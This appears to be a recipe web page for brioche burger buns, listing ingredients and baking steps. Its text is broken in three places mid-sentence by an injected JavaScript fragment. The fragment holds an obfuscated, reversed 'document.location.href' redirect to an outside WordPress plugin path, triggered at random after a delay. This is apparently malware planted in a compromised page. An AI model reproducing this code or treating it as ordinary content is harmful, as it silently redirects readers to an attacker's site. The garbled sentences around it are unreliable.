Burger Brioche Buns: a Detailed Recipe

Brioche is a sweet bakery product that is cooked on pastry and yeast. The brioche prepared according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this recipe turns out toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be soft, airy, slightly sweet and crispy after frying.

Ingredients

Flour – 350 g

Eggs – 3 pcs

Dry yeast – 7 g

Milk – 100 ml

Butter – 100 g

Sugar – 40 g

Salt – a pinch

How toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare

  1. Mix eggs, milk, sugar and yeast in a large, deep bowl.
  2. Add the sifted flour, mix.
  3. Pour melted butter.
  4. Knead with your hands for about 10 minutes.  Leave in a warm place for an hour.
  5. Form 8 rolls, grease with a brush of eggs and milk.
  6. Bake for 15 minutes at a temperature of 170 C.

Source: Ivona